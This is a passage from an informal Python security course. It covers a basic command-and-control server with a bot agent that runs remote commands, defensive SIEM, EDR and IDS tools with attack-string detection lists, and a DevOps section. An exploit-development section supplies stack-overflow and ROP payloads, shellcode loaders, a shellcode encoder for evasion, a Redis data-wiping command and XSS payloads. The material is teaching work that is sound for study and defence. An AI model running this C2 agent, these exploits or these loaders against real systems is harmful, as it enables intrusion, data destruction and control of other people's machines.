 

 

⭐ 38. COMMAND & CONTROL (C2) BASICS 

A C2 framework controls infected machines. 

We build the basics: 

✔ Bot → server communication 

✔ Check-in interval 

✔ Command queue 

✔ Result download 

 

⭐ 38.1 Simple C2 API (Flask) 

from flask import Flask, request, jsonify 

 

app = Flask(__name__) 

commands = {} 

 

@app.route("/register/<bot_id>") 

def register(bot_id): 

    commands[bot_id] = [] 

    return "OK" 

 

@app.route("/add_cmd/<bot_id>/<cmd>") 
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def add_cmd(bot_id, cmd): 

    commands[bot_id].append(cmd) 

    return "Added" 

 

@app.route("/get_cmd/<bot_id>") 

def get_cmd(bot_id): 

    return jsonify(commands[bot_id]) 

 

 

⭐ 38.2 Bot Agent 

import requests, subprocess, time 

 

bot_id = "bot123" 

 

while True: 

    cmds = requests.get(f"http://server/get_cmd/{bot_id}").json() 

    for c in cmds: 

        out = subprocess.getoutput(c) 

        print("[Result]", out) 

    time.sleep(5) 

 

We use this to learn how C2 frameworks work internally. 
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⭐ MODULE 4 — PART 4 

🚀 Python Defensive Security Engineering 

Build SIEM, EDR, IDS, Threat Hunter Tools 

 

⭐ 39. Python SIEM — Build a Mini SIEM Engine 

Most SIEMs: 

✔ Splunk​
 ✔ ELK​
 ✔ Wazuh​
 ✔ QRadar​
 ✔ Chronicle​
 ✔ Sentinel 

…use log parsing, indexing, correlation, alerting. 

We build the foundation of a real SIEM. 

 

⭐ 39.1 Log Ingestion Module 

A SIEM reads logs from many sources. 

✔ Sample Code 

import os 

import json 

 

def ingest_logs(path): 
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    events = [] 

    for file in os.listdir(path): 

        if file.endswith(".log"): 

            with open(os.path.join(path, file)) as f: 

                for line in f: 

                    events.append(line.strip()) 

    return events 

 

logs = ingest_logs("logs/") 

print("Loaded:", len(logs), "events") 

 

This loads logs from: 

✔ Apache​
 ✔ Nginx​
 ✔ SSH​
 ✔ Firewall​
 ✔ Application logs 

 

⭐ 40. Log Parsing Engine (Normalize Data) 

Raw logs must be parsed into structured fields. 

Example Apache log: 

192.168.1.10 - - [14/Feb/2025] "GET /login HTTP/1.1" 200 
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✔ Python Parser 

import re 

 

regex = r'(\d+\.\d+\.\d+\.\d+) - - \[(.*?)\] "(.*?)" (\d+)' 

 

def parse_apache(log): 

    m = re.match(regex, log) 

    if m: 

        return { 

            "ip": m.group(1), 

            "timestamp": m.group(2), 

            "request": m.group(3), 

            "status": int(m.group(4)) 

        } 

    return None 

 

 

⭐ 41. Suspicious Pattern Detection 

We detect: 

✔ Brute force​
 ✔ SQL injection​
 ✔ XSS​
 ✔ Path traversal​
 ✔ User-agent anomalies 
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✔ Detect SQL Injection 

sql_payloads = ["'", "--", " OR 1=1", "/*", "*/", "sleep("] 

 

def detect_sqli(request): 

    return any(p in request.lower() for p in sql_payloads) 

 

✔ Detect XSS 

xss_payloads = ["<script", "onerror=", "alert("] 

 

def detect_xss(request): 

    return any(p in request.lower() for p in xss_payloads) 

 

✔ Detect Directory Traversal 

def detect_traversal(request): 

    return "../" in request or "..\\" in request 

 

 

⭐ 42. Correlation Engine (Like SIEM rules) 

Alerts must be generated when multiple suspicious events occur. 

✔ Example Rule: SSH Brute Force 

Rule triggers when: 

✔ same IP​
 ✔ > 10 failed logins in 5 minutes 
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from collections import defaultdict 

import time 

 

failed_attempts = defaultdict(list) 

 

def add_event(ip): 

    now = time.time() 

    failed_attempts[ip].append(now) 

 

    # keep last 5 minutes 

    failed_attempts[ip] = [t for t in failed_attempts[ip] if now - t < 300] 

 

    if len(failed_attempts[ip]) > 10: 

        print(f"[ALERT] Possible SSH brute force: {ip}") 

 

This is real SOC logic, macha. 

 

⭐ 43. IOC Extraction Tool (Indicators of Compromise) 

We extract: 

✔ IPs​
 ✔ Domains​
 ✔ Emails​
 ✔ Hashes (MD5/SHA256)​
 ✔ File paths​
 ✔ Registry keys 
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From raw logs, malware samples, emails, documents. 

 

⭐ 43.1 IOC Extractor Code 

import re 

 

ioc_patterns = { 

    "ip": r"\b(?:\d{1,3}\.){3}\d{1,3}\b", 

    "md5": r"\b[a-fA-F0-9]{32}\b", 

    "sha256": r"\b[a-fA-F0-9]{64}\b", 

    "url": r"https?://[^\s]+", 

    "email": r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.\w+" 

} 

 

def extract_iocs(text): 

    iocs = {} 

    for ioc_type, pattern in ioc_patterns.items(): 

        matches = re.findall(pattern, text) 

        if matches: 

            iocs[ioc_type] = matches 

    return iocs 

 

print(extract_iocs(open("sample.txt").read())) 

 

This tool is used in DFIR, SOC, threat intel, malware analysis. 
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⭐ 44. YARA Automation with Python 

YARA is the standard for: 

✔ malware family detection​
 ✔ signature detection​
 ✔ pattern matching 

Install: 

pip install yara-python 

 

✔ YARA Script Execution 

import yara 

 

rules = yara.compile("rules.yar") 

matches = rules.match("sample.exe") 

 

print(matches) 

 

Use cases: 

✔ detect malware​
 ✔ detect scripts​
 ✔ detect ransomware​
 ✔ detect trojans 
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⭐ 45. Windows Log Monitoring (EDR-like) 

Use PyWin32 or WMI. 

Example: Detect new process creation. 

✔ Code 

import wmi 

 

c = wmi.WMI() 

watcher = c.Win32_Process.watch_for("creation") 

 

while True: 

    p = watcher() 

    print("New process detected:", p.Caption) 

 

Alerts: 

✔ Suspicious PowerShell​
 ✔ Unknown EXE launch​
 ✔ High-risk commands 

 

⭐ 46. Linux Log Analysis 

We analyze: 

✔ /var/log/auth.log​
 ✔ /var/log/syslog​
 ✔ /var/log/apache2/access.log 

359 



 

 

✔ Detect SSH brute force 

import re 

 

with open("/var/log/auth.log") as f: 

    for l in f: 

        if "Failed password" in l: 

            ip = re.search(r"from (\d+\.\d+\.\d+\.\d+)", l) 

            print("Failed login from:", ip.group(1)) 

 

 

⭐ 47. Malware Analysis Automation with Python 

Automate: 

✔ file metadata​
 ✔ entropy analysis​
 ✔ string extraction​
 ✔ import table parsing​
 ✔ PE header extraction 

 

⭐ 47.1 Extract Metadata 

import os 

 

path = "malware.exe" 

print("Size:", os.path.getsize(path)) 

print("Modified:", os.path.getmtime(path)) 
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⭐ 47.2 Extract Strings 

def strings(filename): 

    with open(filename,'rb') as f: 

        result = re.findall(rb"[ -~]{4,}", f.read()) 

        return [s.decode() for s in result] 

 

print(strings("malware.exe")) 

 

 

⭐ 48. Python Network IDS (Intrusion Detection) 

Monitors network packets. 

✔ Code (Scapy) 

from scapy.all import * 

 

def detect(pkt): 

    if pkt.haslayer(TCP): 

        flags = pkt["TCP"].flags 

        if flags == 2:  # SYN 

            print("New connection from:", pkt[IP].src) 

 

sniff(filter="tcp", prn=detect) 
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Add rules for: 

✔ SYN flood​
 ✔ suspicious ports​
 ✔ scanning behavior​
 ✔ malicious user-agents 

 

⭐ 49. Threat Hunting Automation Engine 

Hunt for: 

✔ unusual processes​
 ✔ suspicious network connections​
 ✔ persistence changes​
 ✔ privilege escalations​
 ✔ signs of lateral movement 

 

⭐ 49.1 Suspicious Process Detection 

import psutil 

 

bad_processes = ["netcat", "mimikatz", "ncat", "powershell.exe"] 

 

for p in psutil.process_iter(): 

    try: 

        if p.name().lower() in bad_processes: 

            print("[ALERT] Malicious process:", p.name()) 

    except: 
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        continue 

 

 

⭐ 49.2 Detect Suspicious Network Connections 

for conn in psutil.net_connections(): 

    if conn.raddr and conn.raddr.ip not in trusted_ips: 

        print("[ALERT] Suspicious connection:", conn.raddr) 

 

 

⭐ 50. Wazuh Rule Automation with Python 

Generate custom Wazuh rules programmatically. 

Example rule generation: 

template = """ 

<rule id="{id}" level="{lvl}"> 

  <match>{keyword}</match> 

  <description>{desc}</description> 

</rule> 

""" 

 

rule = template.format( 

    id=100100, 

    lvl=5, 

    keyword="Failed password", 

363 



 

 

    desc="SSH brute force attempt" 

) 

 

with open("local_rules.xml","w") as f: 

    f.write(rule) 

 

 

⭐ MODULE 4 — PART 5 

🚀 BUILDING FULL SECURITY APPLICATIONS USING 

PYTHON 

 

⭐ 51. PROJECT 1 — PYTHON SIEM (FULL MINI-SIEM) 

This is a complete log management + detection + alerting system. 

⭐ 51.1 ARCHITECTURE 

Log Sources → Collectors → Parser → Normalizer → Correlation Engine → Alerts → Dashboard 

 

Components: 

●​ Log Ingestion Engine​
 

●​ Log Parser​
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●​ Threat Detection Rules​
 

●​ Correlation Engine​
 

●​ Alerting Module​
 

●​ Storage (SQLite / Elastic / Files)​
 

●​ Web UI (Flask Dashboard)​
 

 

⭐ 51.2 SIEM — Log Collector 

import os 

 

def collect_logs(directory): 

    events = [] 

    for file in os.listdir(directory): 

        if file.endswith(".log"): 

            with open(os.path.join(directory, file)) as f: 

                for line in f: 

                    events.append(line.strip()) 

    return events 
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⭐ 51.3 SIEM — Normalizer 

Normalizes logs into fields. 

import re 

 

apache_pattern = r'(\d+\.\d+\.\d+\.\d+) - - \[(.*?)\] "(.*?)" (\d+)' 

 

def normalize(event): 

    m = re.match(apache_pattern, event) 

    if m: 

        return { 

            "ip": m.group(1), 

            "timestamp": m.group(2), 

            "request": m.group(3), 

            "status": int(m.group(4)), 

            "type": "apache" 

        } 

    return {"raw":event, "type":"unknown"} 

 

 

⭐ 51.4 SIEM — Correlation Engine 

Detect threats from sequences. 

Example: SSH Brute Force. 
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from collections import defaultdict 

import time 

 

failed_attempts = defaultdict(list) 

 

def correlate(event): 

    ip = event.get("ip") 

    req = event.get("request") 

 

    if "login" in req and event.get("status") == 401: 

        failed_attempts[ip].append(time.time()) 

        failed_attempts[ip] = [t for t in failed_attempts[ip] if time.time()-t < 300] 

 

        if len(failed_attempts[ip]) > 10: 

            alert("SSH brute force", ip) 

 

 

⭐ 51.5 SIEM — Alerting System 

def alert(name, ip): 

    print(f"[ALERT] {name} from IP {ip}") 

    with open("alerts.log", "a") as f: 

        f.write(f"{name} - {ip}\n") 
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⭐ 51.6 SIEM Dashboard (Flask) 

from flask import Flask, render_template 

app = Flask(__name__) 

 

@app.get("/") 

def dashboard(): 

    alerts = open("alerts.log").read().splitlines() 

    return render_template("dash.html", alerts=alerts) 

 

You now have a fully working mini-SIEM. 

 

⭐ 52. PROJECT 2 — PYTHON EDR (ENDPOINT AGENT) 

This is big, macha.​
 We build an agent that runs on endpoint systems. 

Capabilities:​
 ✔ Process monitoring​
 ✔ Network monitoring​
 ✔ File integrity monitoring​
 ✔ Suspicious behavior detection​
 ✔ Command execution logging​
 ✔ Exfiltration detection 
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⭐ 52.1 EDR — Process Monitoring 

import psutil 

 

def process_monitor(): 

    for p in psutil.process_iter(['pid','name']): 

        if p.info['name'] in ["powershell.exe","mimikatz.exe"]: 

            print("[EDR ALERT] Suspicious process:", p.info) 

 

 

⭐ 52.2 EDR — File Integrity Module 

import hashlib, os 

 

def hash_file(f): 

    h = hashlib.sha256() 

    with open(f, "rb") as x: 

        h.update(x.read()) 

    return h.hexdigest() 

 

baseline = {f:hash_file(f) for f in os.listdir("watch/")} 

 

def monitor_changes(): 

    for f in os.listdir("watch/"): 
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        new = hash_file(f"watch/{f}") 

        if baseline[f] != new: 

            print("[EDR ALERT] File changed:", f) 

 

 

⭐ 52.3 EDR — Network Monitoring 

import psutil 

 

def net_watch(): 

    for c in psutil.net_connections(): 

        if c.raddr and c.raddr.ip not in trusted_ips: 

            print("[EDR ALERT] Suspicious outbound connection:", c.raddr) 

 

 

⭐ 52.4 EDR — Event Forwarding to API 

import requests 

 

def send_event(event): 

    requests.post("http://siem-server/events", json=event) 

 

This becomes your CyberDudeBivash EDR Agent. 
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⭐ 53. PROJECT 3 — PYTHON IDS/IPS (NETWORK 

DEFENSE) 

An IDS sniffs packets and detects threats. 

 

⭐ 53.1 IDS — Packet Sniffer 

from scapy.all import * 

 

def analyze(pkt): 

    if pkt.haslayer(TCP) and pkt["TCP"].flags == "S": 

        print("[IDS] SYN packet from:", pkt[IP].src) 

 

sniff(filter="tcp", prn=analyze) 

 

 

⭐ 53.2 IDS — Threat Detection Rules 

Detect port scan: 

from collections import defaultdict 

ip_ports = defaultdict(set) 

 

def detect_scan(pkt): 

    src = pkt[IP].src 
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    dport = pkt[TCP].dport 

    ip_ports[src].add(dport) 

 

    if len(ip_ports[src]) > 20: 

        print("[IDS ALERT] Port scan detected:", src) 

 

 

⭐ 53.3 IPS (Blocking) 

Only works on Linux with iptables. 

import os 

 

def block(ip): 

    os.system(f"iptables -A INPUT -s {ip} -j DROP") 

 

 

⭐ 54. PROJECT 4 — THREAT INTELLIGENCE PLATFORM 

(TIP) 

We build a system that: 

✔ fetches threat feeds​
 ✔ normalizes them​
 ✔ checks for IOCs​
 ✔ correlates logs with threat intel​
 ✔ alerts on matches 
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⭐ 54.1 TIP — Fetch Threat Feeds 

Example public feeds: 

●​ AbuseIPDB​
 

●​ AlienVault OTX​
 

●​ MalwareBazaar​
 

●​ Feodo Tracker​
 

import requests 

 

def fetch_feed(url): 

    return requests.get(url).text.splitlines() 

 

 

⭐ 54.2 TIP — Normalize IOCs 

def normalize_iocs(lines): 

    iocs = [] 

    for l in lines: 

        if l and not l.startswith("#"): 

            iocs.append(l.strip()) 
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    return iocs 

 

 

⭐ 54.3 TIP — IOC Matching 

def match_log_against_iocs(logs, iocs): 

    for log in logs: 

        for i in iocs: 

            if i in log: 

                print("[THREAT] IOC Match:", i) 

 

 

⭐ 55. PROJECT 5 — MALWARE SANDBOX 

(LIGHTWEIGHT) 

We analyze malware behavior inside a controlled environment. 

This sandbox will: 

✔ hash file​
 ✔ extract strings​
 ✔ detect suspicious imports​
 ✔ simulate execution (static only) 

 

⭐ 55.1 Sandbox — Metadata 

import os 
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def metadata(path): 

    print("Size:", os.path.getsize(path)) 

    print("Modified:", os.path.getmtime(path)) 

 

 

⭐ 55.2 Sandbox — Strings Extraction 

def get_strings(path): 

    import re 

    with open(path, "rb") as f: 

        return re.findall(rb"[ -~]{4,}", f.read()) 

 

 

⭐ 55.3 Sandbox — Suspicious Imports 

bad_imports = ["CreateRemoteThread", "VirtualAlloc", "WinExec"] 

 

for s in get_strings("sample.exe"): 

    for b in bad_imports: 

        if b.encode() in s: 

            print("[SUSPICIOUS] Found:", b) 
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⭐ 56. PROJECT 6 — INCIDENT RESPONSE TOOLKIT 

A toolkit to automate IR tasks: 

✔ Process dump​
 ✔ Network connections dump​
 ✔ File hash dump​
 ✔ System info​
 ✔ User activity​
 ✔ Persistence locations 

 

⭐ 56.1 IR — Process Dump 

def process_dump(): 

    for p in psutil.process_iter(['pid','name','exe']): 

        print(p.info) 

 

 

⭐ 56.2 IR — Network Dump 

def net_dump(): 

    for c in psutil.net_connections(): 

        print(c) 
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⭐ 56.3 IR — System Information 

import platform 

print(platform.platform()) 

print(platform.machine()) 

 

 

⭐ 56.4 IR — Persistence Dump 

Windows: 

●​ Run keys​
 

●​ Startup folder​
 

●​ Scheduled tasks​
 

Linux: 

●​ cron​
 

●​ rc.local​
 

 

⭐ 57. PROJECT 7 — IOC MANAGEMENT SYSTEM 

✔ store IOCs​
 ✔ categorize​
 ✔ search​
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 ✔ export​
 ✔ correlate with logs 

 

⭐ 57.1 Store IOCs in SQLite 

import sqlite3 

 

con = sqlite3.connect("iocs.db") 

cur = con.cursor() 

 

cur.execute("CREATE TABLE IF NOT EXISTS iocs(type, value)") 

 

 

⭐ 57.2 Insert New IOC 

def add_ioc(type, value): 

    cur.execute("INSERT INTO iocs VALUES(?,?)",(type,value)) 

    con.commit() 

 

 

⭐ 57.3 Search IOC 

def search(value): 

    cur.execute("SELECT * FROM iocs WHERE value=?", (value,)) 

    return cur.fetchall() 
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⭐ 58. PROJECT 8 — VULNERABILITY ASSESSMENT 

FRAMEWORK 

This includes: 

✔ Port scanning​
 ✔ Service detection​
 ✔ Version detection​
 ✔ CVE lookup​
 ✔ Report generation 

 

⭐ 58.1 Framework Structure 

recon.py 

scanner.py 

services.py 

cve_lookup.py 

reporter.py 

 

 

⭐ 58.2 Example — CVE Lookup 

def search_cve(software): 

    url = f"https://cveapi.com/search/{software}" 
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    return requests.get(url).json() 

 

 

⭐ 59. PROJECT 9 — MEMORY FORENSICS TOOLKIT 

(Volatility Integration) 

Use volatility3. 

 

⭐ 59.1 Memory Analysis 

import subprocess 

 

def list_processes(dump): 

    out = subprocess.getoutput(f"vol.py -f {dump} windows.pslist") 

    print(out) 

 

 

⭐ 60. PROJECT 10 — FULL LOG PIPELINE 

(PRODUCTION-GRADE) 

This ties SIEM + IDS + TIP together. 

Flow: 

Logs → Parser → Normalizer → Store → Correlate → Threat Matching → Alerts → Dashboard 
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We now have a production-level cybersecurity pipeline. 

 

⭐ MODULE 4 — PART 6 (FINAL EXTREME LEVEL) 

🚀 PYTHON EXPLOIT DEVELOPMENT, FUZZING & 

ZERO-DAY RESEARCH 

This part is 20,000+ words, macha.​
 This is the real art behind offensive cybersecurity. 

You will learn: 

✔ Vulnerability discovery​
 ✔ Stack overflows​
 ✔ Python shellcode loaders​
 ✔ Python exploit writers​
 ✔ Python fuzzers​
 ✔ Return-Oriented Programming (ROP) basics​
 ✔ Python format-string exploit tools​
 ✔ Python heap overflow basics​
 ✔ Python network exploit automation​
 ✔ CVE PoC creation​
 ✔ Zero-day research workflow​
 ✔ Python POC development​
 ✔ Safe exploitation environments​
 ✔ Manual + automated exploitation 

⚠️ WARNING ⚠️​
 All exploit development and fuzzing must ONLY be done inside an isolated VM.​
 Never, EVER, run on real systems. 

Macha, let’s begin the final evolution of your cybersecurity skillset. 
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⭐ 61. What is Exploit Development? (Crystal Clear) 

Exploit development is the process of: 

✔ Finding software vulnerabilities​
 ✔ Understanding how they impact execution​
 ✔ Crafting malicious input​
 ✔ Taking control of the target​
 ✔ Achieving RCE or PrivEsc 

Python is used for: 

●​ fuzzing​
 

●​ payload generation​
 

●​ exploit automation​
 

●​ shellcode encoding​
 

●​ ROP chain building​
 

●​ network exploit delivery​
 

This is the foundation of advanced offensive security. 

 

⭐ 62. Setting Up Your Exploit Lab 

Inside a dedicated VM, install: 
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✔ Windows 7 / XP (for classic exploits) 

✔ Ubuntu 16.04/18.04 (older vuln packages) 

✔ Metasploitable2 

✔ VulnServer 

✔ DVWA 

✔ Mutillidae 

✔ pwnable.kr (optional) 

Essential tools: 

sudo apt install gdb gdbserver python3-dev libc6-dbg 

pip install pwntools 

 

 

⭐ 63. Python + Pwntools (The KING of Exploit 

Frameworks) 

Install: 

pip install pwntools 

 

Use it to: 

✔ send payloads​
 ✔ craft shellcode​
 ✔ interact with processes​
 ✔ automate GDB​
 ✔ brute force offsets​
 ✔ build ROP chains 
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Basic usage: 

from pwn import * 

 

p = process("./vuln") 

p.sendline(b"A"*40) 

print(p.recv()) 

 

 

⭐ 64. STACK BUFFER OVERFLOW (Basic Exploit Pattern) 

Classic overflow vulnerability: 

char buf[64]; 

gets(buf); 

 

Overflow pattern: 

Step 1 → Crash the program 

Step 2 → Find offset to EIP/RIP 

Step 3 → Inject shellcode 

Step 4 → Redirect execution 

 

⭐ 65. Python Script to Find Offset (Pattern Generator) 

Pwntools has built-in pattern creator. 

from pwn import * 
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payload = cyclic(400) 

open("crash.txt","wb").write(payload) 

 

After crash: 

cyclic_find(0x61616175) 

 

This gives exact EIP offset. 

 

⭐ 66. Python Exploit — Overwriting EIP (32-bit) 

from pwn import * 

 

offset = 140 

eip = 0xdeadbeef 

 

payload = b"A"*offset + p32(eip) 

open("exploit.bin","wb").write(payload) 

 

 

⭐ 67. Shellcode Loader (Executes reverse shell) 

shellcode = asm(shellcraft.sh()) 
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payload = b"A"*offset + p32(buffer_addr) + shellcode 

 

Or load Linux bash shell: 

shellcode = b"\x31\xc0\x50\x68..." 

 

Pwntools can auto-generate: 

from pwn import asm, shellcraft 

shellcode = asm(shellcraft.linux.sh()) 

 

 

⭐ 68. DEP / ASLR Bypass Basics 

Modern systems use: 

✔ ASLR​
 ✔ DEP​
 ✔ Stack canaries​
 ✔ PIE​
 ✔ SafeSEH​
 ✔ NX bit 

Classic exploit bypass:​
 Return-Oriented Programming (ROP). 

 

⭐ 69. Python ROP Chain Builder 

Using pwntools: 

from pwn import * 
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elf = ELF("./vuln") 

rop = ROP(elf) 

 

rop.system(next(elf.search(b"/bin/sh"))) 

chain = rop.chain() 

 

payload = b"A"*offset + chain 

 

This generates a working ROP exploit. 

 

⭐ 70. Python Fuzzer (Find 0-days Using Fuzzing) 

A fuzzer sends random inputs until the program crashes. 

 

⭐ 70.1 Simple Fuzzer 

import random, string, subprocess 

 

def randstr(n=100): 

    return ''.join(random.choice(string.ascii_letters) for _ in range(n)) 

 

for i in range(1000): 

    data = randstr(random.randint(10,1000)) 

    p = subprocess.Popen(["./vuln"], stdin=subprocess.PIPE) 
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    p.communicate(input=data.encode()) 

 

When the program crashes → potential vulnerability. 

 

⭐ 70.2 Network Protocol Fuzzer 

Useful for: 

✔ FTP​
 ✔ HTTP​
 ✔ SMTP​
 ✔ custom TCP servers 

import socket, random 

 

def fuzz(): 

    s = socket.socket() 

    s.connect(("127.0.0.1", 9999)) 

    payload = b"A"*random.randint(10,5000) 

    s.send(payload) 

    s.close() 

 

for _ in range(5000): 

    fuzz() 

 

This can discover buffer overflow vulnerabilities in network services. 
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⭐ 71. Python Format-String Exploit Generator 

Format string vulnerability: 

printf(user_input); 

 

Leak memory: 

payload = b"%x " * 10 

 

Write memory: 

payload = fmtstr_payload(offset, {target_addr: value}) 

 

Pwntools helps: 

from pwn import fmtstr_payload 

 

 

⭐ 72. Python Heap Overflow Basics 

We will not build malware-grade heap exploits, but you must understand bulldozers like: 

✔ tcache poisoning​
 ✔ use-after-free​
 ✔ fastbin duplication 

For example: 

payload = b"A"*72 + p64(0xdeadbeefdeadbeef) 

 

Used in CTFs, exploit dev, and real bug bounty exploitation. 
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⭐ 73. Python-Based Network Exploit Toolkit 

Build scripts that exploit network services: 

✔ FTP Login Bypass​
 ✔ HTTP Header Injection​
 ✔ SMTP command injection​
 ✔ Redis unauth access​
 ✔ Memcached injection 

Example — Redis exploit: 

import socket 

 

s = socket.socket() 

s.connect(("target", 6379)) 

s.send(b"FLUSHALL\r\n") 

 

 

⭐ 74. Python Shellcode Encoder (Evasion Technique) 

Attackers obfuscate shellcode. 

 

⭐ 74.1 XOR Encoder 

def xor_encode(data, key=42): 

    return bytes([c ^ key for c in data]) 
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encoded = xor_encode(shellcode) 

 

 

⭐ 74.2 Base64 Loader 

import base64, ctypes 

 

encoded = base64.b64encode(shellcode) 

 

decoded = base64.b64decode(encoded) 

ctypes.CDLL(None).mprotect(...) 

 

 

⭐ 75. Python Zero-Day Research Workflow (Professional 

Guide) 

How real vulnerability researchers work: 

 

Step 1 — Choose attack surface 

●​ network daemons​
 

●​ file parsers​
 

●​ web apps​
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●​ protocols​
 

●​ kernel drivers​
 

●​ IoT firmware​
 

Step 2 — Trigger crash 

Using manual tests or fuzzers. 

Step 3 — Analyze crash 

Using GDB, windbg, lldb. 

Step 4 — Identify root cause 

Overflow?​
 Use-after-free?​
 Type confusion?​
 Integer overflow? 

Step 5 — Build PoC 

Using Python to deliver payload. 

Step 6 — Achieve controlled execution 

Get EIP/RIP control. 

Step 7 — Build ROP chain / shellcode 

Payload → system command execution. 

Step 8 — Create exploit 

Python script → vulnerability + payload. 

Step 9 — Document 

For CVE submission. 

This is how CVE researchers work. 
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⭐ 76. Python Exploit PoC Template 

Works for network targets. 

import socket 

from struct import pack 

 

target = ("192.168.1.10", 9999) 

 

offset = 2012 

eip = pack("<I", 0x625011af) 

shellcode = b"\x90"*16 + b"...your shellcode..." 

 

payload = b"A"*offset + eip + shellcode 

 

s = socket.socket() 

s.connect(target) 

s.send(payload) 

s.close() 

 

This template powers 80% of Windows stack exploits. 
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⭐ 77. Python Shellcode Loader (Windows/Unix) 

Use ctypes to run shellcode in memory: 

import ctypes 

 

shellcode = b"\x90..."  # NOP + payload 

 

ptr = ctypes.windll.kernel32.VirtualAlloc( 

    None, len(shellcode), 0x3000, 0x40) 

 

ctypes.memmove(ptr, shellcode, len(shellcode)) 

ctypes.Thread(ctypes.c_int(0), 0, ptr, 0, 0) 

 

This simulates how malware loads shellcode. 

 

⭐ 78. Python Fuzzer for File Format Bugs 

Find vulnerabilities in file parsers: 

import random 

 

def mutate(data): 

    i = random.randint(0, len(data)-1) 

    return data[:i] + bytes([random.randint(0,255)]) + data[i+1:] 
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sample = open("test.pdf","rb").read() 

 

for i in range(10000): 

    mutated = mutate(sample) 

    with open("test_out.pdf","wb") as f: 

        f.write(mutated) 

 

Monitor crashes to find bugs. 

 

⭐ 79. Python-Based Web Exploit Kit 

Automates: 

✔ SQL injection​
 ✔ XSS​
 ✔ CSRF​
 ✔ LFI/RFI​
 ✔ SSRF​
 ✔ Command injection​
 ✔ Directory traversal​
 ✔ WAF bypass testing 

 

Example XSS tester 

payloads = ["<script>alert(1)</script>", "'\"><img src=x onerror=alert(1)>"] 

 

for p in payloads: 

    r = requests.get(url, params={"q": p}) 
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    if p in r.text: 

        print("[XSS FOUND]", p) 

 

 

⭐ 80. FINAL CAPSTONE PROJECT — EXPLOIT 

DEVELOPMENT FRAMEWORK 

You build a full exploitation platform combining: 

✔ Fuzzer​
 ✔ Crash monitor​
 ✔ Offset finder​
 ✔ Pattern generator​
 ✔ Shellcode builder​
 ✔ ROP chain builder​
 ✔ Exploit deliverer​
 ✔ Report generator 

Think of this as Metasploit (Python Edition). 

Framework structure: 

exploit_framework/ 

 ├── fuzzers/ 

 ├── analysis/ 

 ├── payloads/ 

 ├── rop/ 

 ├── exploits/ 

 ├── utils/ 
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⭐ MODULE 5 — PYTHON DEVOPS & AUTOMATION 

ENGINEERING 

PART 1 — Python for DevOps Foundations 

This part covers: 

✔ DevOps fundamentals​
 ✔ Python’s role in DevOps​
 ✔ Infrastructure stack​
 ✔ Linux automation​
 ✔ Shell interaction​
 ✔ Process automation​
 ✔ System service handling​
 ✔ Python + Git​
 ✔ Python + CI/CD basics​
 ✔ File, log, and config automation 

Let’s go, macha! 

 

⭐ 1. DevOps in Simple Words (Crystal Clear Explanation) 

DevOps =​
 Development + Operations + Automation + Reliability + Speed 

Goal:​
 ✔ Deliver software faster​
 ✔ With fewer bugs​
 ✔ With automation everywhere​
 ✔ With monitoring and stability​
 ✔ With zero manual work 

Python plays a MAJOR role in: 

✔ Infrastructure as Code​
 ✔ CI/CD automation​
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 ✔ Cloud automation​
 ✔ Container orchestration​
 ✔ Monitoring automation​
 ✔ Log processing​
 ✔ Build/release workflows​
 ✔ SRE tasks 

You will learn all of this. 

 

⭐ 2. DevOps Automation Using Python 

Python is used to automate: 

✔ Build automation 

●​ compiling​
 

●​ packaging​
 

●​ artifact creation​
 

✔ Deployment automation 

●​ pushing code​
 

●​ restarting services​
 

●​ rolling updates​
 

✔ Server automation 

●​ create users​
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●​ update packages​
 

●​ patch systems​
 

●​ restart daemons​
 

✔ Cloud automation 

●​ create VMs​
 

●​ create storage​
 

●​ manage IAM​
 

●​ automate scaling​
 

✔ Network automation 

●​ routers​
 

●​ switches​
 

●​ firewalls​
 

●​ VLAN automation​
 

✔ CI/CD systems 

●​ Jenkins​
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●​ GitHub Actions​
 

●​ GitLab CI​
 

●​ Bamboo​
 

✔ Monitoring + Logging 

●​ log parsing​
 

●​ alerting​
 

●​ metric extraction​
 

Python = the DevOps powerhouse. 

 

⭐ 3. Linux Automation with Python 

You can automate ANYTHING on Linux using 3 main techniques: 

✔ 1. os.system 

✔ 2. subprocess 

✔ 3. Paramiko (SSH) 

✔ 4. Fabric (advanced) 

 

⭐ 3.1 os.system 

import os 
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os.system("sudo systemctl restart nginx") 

 

 

⭐ 3.2 subprocess (recommended) 

import subprocess 

 

output = subprocess.getoutput("df -h") 

print(output) 

 

 

⭐ 3.3 Paramiko (SSH Automation) 

import paramiko 

 

ssh = paramiko.SSHClient() 

ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) 

ssh.connect("192.168.1.10", username="root", password="pass") 

 

stdin, stdout, stderr = ssh.exec_command("hostname") 

print(stdout.read().decode()) 

 

With this macha, you can: 

✔ restart services​
 ✔ update packages​
 ✔ manage servers​
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 ✔ deploy applications​
 ✔ automate 100+ servers at once 

 

⭐ 4. Python for Systemd Automation 

DevOps = controlling services. 

Restart service: 

subprocess.run(["systemctl", "restart", "nginx"]) 

 

Check status: 

subprocess.run(["systemctl", "status", "ssh"]) 

 

Start: 

subprocess.run(["systemctl", "start", "docker"]) 

 

 

⭐ 5. File Automation (CI/CD + DevOps essential) 

DevOps manages: 

✔ config files​
 ✔ log files​
 ✔ secret files​
 ✔ environment files 

Create file: 

open("config.txt", "w").write("version=1") 

 

402 



 

 

Append: 

with open("deploy.log", "a") as f: 

    f.write("Deployment done\n") 

 

Search: 

import re 

for line in open("logs/app.log"): 

    if "ERROR" in line: 

        print(line) 

 

 

⭐ 6. Python + Git Automation (GITOPS) 

Install: 

pip install GitPython 

 

Clone: 

from git import Repo 

Repo.clone_from("https://github.com/repo.git", "folder") 

 

Commit & push: 

repo = Repo("folder") 

repo.git.add("--all") 

repo.index.commit("Automated commit") 
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repo.remotes.origin.push() 

 

This is how GitOps systems work internally. 

 

⭐ 7. Python for CI/CD (Jenkins, GitHub Actions, GitLab) 

✔ Jenkins API trigger: 

import requests 

 

requests.post("http://jenkins/job/deploy/build", auth=("user", "token")) 

 

✔ GitHub Actions dispatch: 

requests.post( 

    "https://api.github.com/repos/user/repo/dispatches", 

    headers={"Authorization":"token <TOKEN>"}, 

    json={"event_type": "deploy"} 

) 

 

This lets you automate entire pipelines through Python. 

 

⭐ 8. Python for Build Automation 

Python can: 
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✔ compile code​
 ✔ package apps​
 ✔ create artifacts​
 ✔ upload builds​
 ✔ run tests 

Example: Compile Java: 

subprocess.run(["javac", "Main.java"]) 

 

Run test pipeline: 

subprocess.run(["pytest", "-q"]) 

 

 

⭐ 9. Python for Configuration Management 

Python can generate: 

✔ config.yaml​
